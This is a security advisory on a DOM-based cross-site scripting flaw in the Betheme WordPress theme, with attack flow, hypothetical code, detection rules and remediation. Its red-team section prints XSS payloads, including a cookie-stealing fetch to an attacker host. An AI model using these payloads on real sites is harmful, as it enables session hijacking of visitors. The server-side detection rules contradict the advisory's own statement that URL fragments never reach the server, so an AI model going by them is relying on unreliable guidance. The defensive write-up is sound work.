CVE-2025-63075

Executive Summary

CVE-2025-63075 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the Betheme WordPress theme by Muffingroup, up to and including version 28.2. This vulnerability allows an attacker to inject malicious scripts into a web page through improper neutralization of user input, leading to potential data theft, session hijacking, or defacement. The CVSS score of 6.5 indicates a medium severity, with low impact on confidentiality, integrity, and availability. As a WordPress ecosystem issue, this vulnerability is particularly concerning due to the widespread use of the Betheme theme in content management systems.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem, where themes and plugins are distributed through official and third-party repositories. The lack of a known patch or OSV data suggests that the vendor (Muffingroup) has not yet released a security update, leaving sites running Betheme <= 28.2 at risk. Organizations should monitor the WordPress plugin repository and Muffingroup’s official channels for patch announcements.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must interact with a crafted link or page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the widespread use of Betheme and the lack of a patch increase the overall threat.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS, meaning the attack payload is executed entirely within the victim’s browser without being sent to the server. In Betheme, improper neutralization of input during web page generation allows an attacker to inject JavaScript code that manipulates the Document Object Model (DOM). This typically occurs through unsanitized URL fragments, query parameters, or other client-side data sources.

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload (e.g., #<script>alert('XSS')</script>).
2. The victim clicks the link, which loads a Betheme page.
3. The theme’s JavaScript processes the URL fragment without proper sanitization.
4. The payload is injected into the DOM, executing the attacker’s script.
5. The script can steal cookies, redirect the user, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the theme’s JavaScript files that handle URL fragments or user input. A patched version would include input validation and output encoding, such as using textContent instead of innerHTML or sanitizing with DOMPurify.

Vulnerable Code Example (Hypothetical):

// Vulnerable: Directly sets innerHTML from URL fragment
var fragment = window.location.hash.substring(1);
document.getElementById('content').innerHTML = fragment;

Patched Code Example (Hypothetical):

// Patched: Uses textContent to prevent XSS
var fragment = window.location.hash.substring(1);
document.getElementById('content').textContent = fragment;

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site running Betheme <= 28.2.
• Ability to craft and deliver a malicious URL.

Exploitation Steps:

1. Identify a Betheme page that processes URL fragments (e.g., a portfolio or slider).
2. Craft a payload: https://target-site.com/page#<img src=x onerror=alert('XSS')>
3. Deliver the link via phishing email or social engineering.
4. When the victim clicks, the script executes in their browser.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defense & Detection)

Detection:

• Monitor web logs for unusual URL fragments containing <script>, onerror, or javascript:.
• Use browser-based XSS filters (e.g., X-XSS-Protection header).
• Implement Content Security Policy (CSP) to restrict script execution.

Mitigation:

• Apply input validation and output encoding in all JavaScript code.
• Use a Web Application Firewall (WAF) to block malicious payloads.
• Disable JavaScript execution for untrusted URL fragments.

Indicators of Compromise (IOCs)

• URL Patterns: URLs containing #<script>, #<img, #<svg, or #javascript:.
• Network Traffic: Outbound requests to attacker-controlled domains from the victim’s browser.
• Browser Behavior: Unexpected pop-ups, redirects, or changes to page content.
• Log Entries: HTTP requests with unusual fragment identifiers in the Referer header.

Detection Engineering

YARA Rule

rule CVE_2025_63075_DOM_XSS {
    meta:
        description = "Detects DOM-Based XSS payloads targeting Betheme <= 28.2"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63075"
    strings:
        $payload1 = /#<script[^>]*>.*<\/script>/i
        $payload2 = /#<img[^>]*onerror[^>]*>/i
        $payload3 = /#<svg[^>]*onload[^>]*>/i
        $payload4 = /#javascript:[^>]*/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-63075 DOM-Based XSS in Betheme
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential DOM-Based XSS attacks against Betheme <= 28.2
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#javascript:'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments in web applications
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63075 DOM-Based XSS in Betheme"; flow:to_server; content:"#<script"; nocase; http_uri; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-63075 DOM-Based XSS in Betheme"; flow:to_server; content:"#<img"; nocase; http_uri; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-63075 DOM-Based XSS in Betheme"; flow:to_server; content:"#<svg"; nocase; http_uri; sid:1000003; rev:1;)
alert http any any -> any any (msg:"CVE-2025-63075 DOM-Based XSS in Betheme"; flow:to_server; content:"#javascript:"; nocase; http_uri; sid:1000004; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Betheme until a patch is available, or switch to a different theme.
2. Implement CSP headers to restrict script execution (e.g., Content-Security-Policy: script-src 'self').
3. Use a WAF to block malicious URL fragments containing XSS patterns.

Long-Term Fixes:

• Apply vendor patch when released by Muffingroup.
• Audit custom JavaScript in Betheme for DOM manipulation vulnerabilities.
• Educate users about phishing links and safe browsing practices.

Workarounds:

• Modify the theme’s JavaScript to sanitize URL fragments using textContent or DOMPurify.
• Disable hash-based navigation features in Betheme if possible.

Valters IT
DevSecOps & Cyber Threat Intelligence